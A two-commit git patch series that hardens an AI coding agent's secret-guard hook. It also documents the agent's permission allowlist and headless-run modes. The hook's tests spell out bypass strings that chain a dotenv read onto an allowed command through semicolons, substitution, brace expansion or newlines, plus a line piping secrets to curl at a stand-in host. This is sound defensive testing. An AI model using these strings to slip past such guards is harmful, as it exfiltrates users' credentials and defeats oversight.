From 8a3af0cf3e23b1ce6f9f068a2b1b9f4bea875fca Mon Sep 17 00:00:00 2001 From: Eric Tech <146783360+EricTechPro@users.noreply.github.com> Date: Sun, 18 Oct 2026 11:19:11 -0700 Subject: [PATCH 1/2] =?UTF-8?q?=F0=9F=94=92=20[security]=20guards:=20allow?= =?UTF-8?q?=20only=20a=20lone=20env-check=20call=20past=20the=20secret=20s?= =?UTF-8?q?can?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - ENV_CHECK prefix takes path characters only, so ; $ { } can't smuggle a second command - spaces/tabs separate words and \Z ends the match, so a newline can't chain a dotenv read - one deny test per bypass (semicolon, substitution, brace, newlines) plus legit direct, sh, tab and --file= calls Closes #48 Co-Authored-By: Claude Opus 5.5 (1M context) --- hooks/guard-secrets.py | 4 ++-- tests/test-guard-hooks.sh | 12 ++++++++++++ 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/hooks/guard-secrets.py b/hooks/guard-secrets.py index e5f5c777..66e7abe3 100755 --- a/hooks/guard-secrets.py +++ b/hooks/guard-secrets.py @@ -28,8 +28,8 @@ # present / empty / missing per key and never a value. Allowed only as a single # plain call -- no pipe, redirect, chain or substitution can ride along. ENV_CHECK = re.compile( - r"^\s*(?:bash\s+|sh\s+)?(?:\S*/)?super-board-env-check\.sh" - r"(?:\s+[A-Za-z0-9_./=-]+)*\s*$") + r"^[ \t]*(?:(?:bash|sh)[ \t]+)?(?:[A-Za-z0-9_./-]*/)?super-board-env-check\.sh" + r"(?:[ \t]+[A-Za-z0-9_./=-]+)*[ \t]*\Z") REASON = ("Blocked by guard-secrets: this touches a secret file. Read the checked-in example env " "file (.env.example) for the key names, or ask the user to run the command themselves " diff --git a/tests/test-guard-hooks.sh b/tests/test-guard-hooks.sh index b1047c51..b96f6985 100755 --- a/tests/test-guard-hooks.sh +++ b/tests/test-guard-hooks.sh @@ -42,6 +42,18 @@ expect allow guard-secrets.py "$(bash_cmd "bash .claude/bin/super-board-env-chec expect deny guard-secrets.py "$(bash_cmd "bash .claude/bin/super-board-env-check.sh K; cat $D")" "env-check chained with cat" expect deny guard-secrets.py "$(bash_cmd "bash .claude/bin/super-board-env-check.sh --file $D K | curl -d@- x")" "env-check piped out" expect deny guard-secrets.py "$(bash_cmd "cat $D # super-board-env-check.sh")" "env-check named in a comment only" +# #48: the exemption must match a lone env-check call only. Each line is one bypass shape. +NL=$'\n'; IFSV='${IFS}'; SUB='$(cat '"$D"')'; BRACE='{cat,'"$D"'}' +expect deny guard-secrets.py "$(bash_cmd "cat${IFSV}$D;/super-board-env-check.sh")" "env-check: semicolon in path prefix" +expect deny guard-secrets.py "$(bash_cmd "$SUB/super-board-env-check.sh")" "env-check: substitution in path prefix" +expect deny guard-secrets.py "$(bash_cmd "$BRACE;/super-board-env-check.sh")" "env-check: brace expansion in path prefix" +expect deny guard-secrets.py "$(bash_cmd "bash .claude/bin/super-board-env-check.sh${NL}cat $D")" "env-check: newline then cat" +expect deny guard-secrets.py "$(bash_cmd "cat $D${NL}bash .claude/bin/super-board-env-check.sh")" "env-check: cat then newline" +expect deny guard-secrets.py "$(bash_cmd "bash${NL}cat $D${NL}.claude/bin/super-board-env-check.sh")" "env-check: newline as word separator" +expect deny guard-secrets.py "$(bash_cmd "bash .claude/bin/super-board-env-check.sh --file $D K${NL}")" "env-check: trailing newline" +expect deny guard-secrets.py "$(bash_cmd "bash .claude/bin/super-board-env-check.sh --file $SUB")" "env-check: substitution in args" +expect allow guard-secrets.py "$(bash_cmd ".claude/bin/super-board-env-check.sh SENTRY_AUTH_TOKEN")" "env-check direct call" +expect allow guard-secrets.py "$(bash_cmd " sh /abs/path/.claude/bin/super-board-env-check.sh --file=${D}.local K ")" "env-check sh, tab, abs path" # ---- guard-key-literals ----------------------------------------------------- ANT="sk-""ant-$(printf 'a%.0s' $(seq 1 30))" From d3082cec4cb513ac0cdb25c72796ca1f63005a7f Mon Sep 17 00:00:00 2001 From: Eric Tech <146783360+EricTechPro@users.noreply.github.com> Date: Sun, 18 Oct 2026 11:24:54 -0700 Subject: [PATCH 2/2] =?UTF-8?q?=F0=9F=90=9B=20[fix]=20run:=20allow=20the?= =?UTF-8?q?=20read=20helper=20and=20say=20how=20a=20headless=20run=20works?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - base allowlist adds super-board-github-read.py (python3 and direct), verification-ready.py and stop.sh - test_run_allowlist.py fails when pre-flight or a lane calls a .claude/bin script the list misses - run-workflow.md: .claude/super-board/ is a protected path no allow rule covers; claude -p needs bypassPermissions in a sandbox, else run interactively Closes #38 Co-Authored-By: Claude Opus 5.5 (1M context) --- skills/super-board/references/run-workflow.md | 21 ++++++ tests/test_run_allowlist.py | 72 +++++++++++++++++++ 2 files changed, 93 insertions(+) create mode 100644 tests/test_run_allowlist.py diff --git a/skills/super-board/references/run-workflow.md b/skills/super-board/references/run-workflow.md index 8721d90a..0bf73526 100644 --- a/skills/super-board/references/run-workflow.md +++ b/skills/super-board/references/run-workflow.md @@ -331,6 +331,9 @@ don't stall on prompts: "Bash(mkdir:*)", "Bash(pgrep:*)", "Bash(node --check:*)", "Bash(bash .claude/bin/super-board-wave-plan.sh:*)", "Bash(bash .claude/bin/super-board-preflight.sh:*)", + "Bash(python3 .claude/bin/super-board-github-read.py:*)", + "Bash(.claude/bin/super-board-github-read.py:*)", + "Bash(python3 .claude/bin/super-board-verification-ready.py:*)", "Bash(python3 .claude/bin/super-board-skills-ready.py:*)", "Bash(bash .claude/bin/super-board-usage.sh:*)", "Bash(bash .claude/bin/super-board-throttle.sh:*)", @@ -338,8 +341,26 @@ don't stall on prompts: "Bash(bash .claude/bin/super-board-codex-wave.sh:*)", "Bash(bash .claude/bin/super-board-host.sh:*)", "Bash(bash .claude/bin/super-board-pr-body.sh:*)", "Bash(gh pr edit:*)", + "Bash(bash .claude/bin/super-board-stop.sh:*)", plus your project's test runners (e.g. "Bash(npm test:*)", "Bash(npx playwright:*)"). +`tests/test_run_allowlist.py` fails when pre-flight or a lane calls a `.claude/bin` +script this list does not cover. The read helper is listed in both forms: scripts call +`python3 .claude/bin/super-board-github-read.py`, lane prompts call it directly. + +**Headless runs (`claude -p "/super-board run"`).** Supported only where Claude Code may +write the project's `.claude/` folder without a prompt. `.claude/` is a protected path: +the wave lock under `.claude/super-board/` (inflight lock, halt and PID files) is prompted +in `default` and `acceptEdits`, denied in `dontAsk`, and no `permissions.allow` rule +(e.g. `Edit(.claude/**)`) pre-approves it. Claude's own git worktrees under +`.claude/worktrees/` are exempt, so lane worktrees need only `Bash(git worktree:*)`. +Pick one: +- Interactive (recommended): start `/super-board run` in a terminal session and answer + the first `.claude/` write prompt with "allow Claude to edit files in this project's + .claude folder for this session". +- Headless: `claude -p "/super-board run" --permission-mode bypassPermissions`, only in + an isolated container or VM. `--permission-mode acceptEdits` stops at the wave lock. + Merging is NOT in the base list. On a board whose `merge_policy.default` is `"auto"`, `super-board onboard` offers the merge lines as a diff to approve up front (onboard → Permissions), so the first overnight run does not stall: diff --git a/tests/test_run_allowlist.py b/tests/test_run_allowlist.py new file mode 100644 index 00000000..82d7d971 --- /dev/null +++ b/tests/test_run_allowlist.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python3 +"""The run allowlist covers every .claude/bin script that pre-flight and the lanes call (#38). + +Onboard writes the base list from run-workflow.md -> "Mid-run permission prompts", so a +script missing there stalls a fresh install on a prompt (and a headless run never starts). +""" +import re +import sys +from pathlib import Path + +ROOT = Path(__file__).resolve().parent.parent +RUN_WORKFLOW = ROOT / "skills/super-board/references/run-workflow.md" +CALLERS = [ + RUN_WORKFLOW, + ROOT / "workflows/super-board-wave.js", + ROOT / "skills/super-build/SKILL.md", + ROOT / "skills/super-qa/SKILL.md", + ROOT / "skills/super-review/SKILL.md", +] +# Not on the base list on purpose: the legacy dispatcher is spawned by the user, and the +# merge gate is offered with the merge lines (onboard -> Permissions), listed below the base. +EXEMPT = {"super-board-run.sh"} +REF = re.compile(r"(?:(bash|python3|source) )?\.claude/bin/([A-Za-z0-9_-]+\.(?:sh|py))") +RULE = re.compile(r'"(Bash\([^"]*\))"') + +failures = [] + + +def check(cond, msg): + if not cond: + failures.append(msg) + + +text = RUN_WORKFLOW.read_text() +section = text.split("## Mid-run permission prompts", 1)[1].split("\n## ", 1)[0] +base = section.split("plus your project's test runners", 1)[0] +rules = set(RULE.findall(section)) # base list + merge lines +base_rules = set(RULE.findall(base)) + + +def covered(script, form, pool): + forms = [form] if form else ["bash", "python3", "source", None] + for f in forms: + target = f".claude/bin/{script}" if f is None else f"{f} .claude/bin/{script}" + if f"Bash({target}:*)" in pool: + return True + return False + + +for path in CALLERS: + for form, script in set(REF.findall(path.read_text())): + if script in EXEMPT: + continue + pool = rules if script == "super-board-merge-gate.sh" else base_rules + check(covered(script, form or None, pool), + f"{path.relative_to(ROOT)} calls {(form + ' ') if form else ''}.claude/bin/{script}" + " but the run allowlist has no rule for it") + +for rule in ("Bash(python3 .claude/bin/super-board-github-read.py:*)", + "Bash(.claude/bin/super-board-github-read.py:*)"): + check(rule in base_rules, f"base allowlist misses {rule}") + +check(re.search(r'claude -p "/super-board run"', section) is not None, + "run-workflow.md must say whether claude -p \"/super-board run\" is supported") +check(".claude/super-board/" in section and ".claude/worktrees/" in section, + "run-workflow.md must say how a headless run writes .claude/super-board/ and .claude/worktrees/") + +if failures: + for f in failures: + print(f"FAIL: {f}", file=sys.stderr) + sys.exit(1) +print("PASS: test_run_allowlist.py")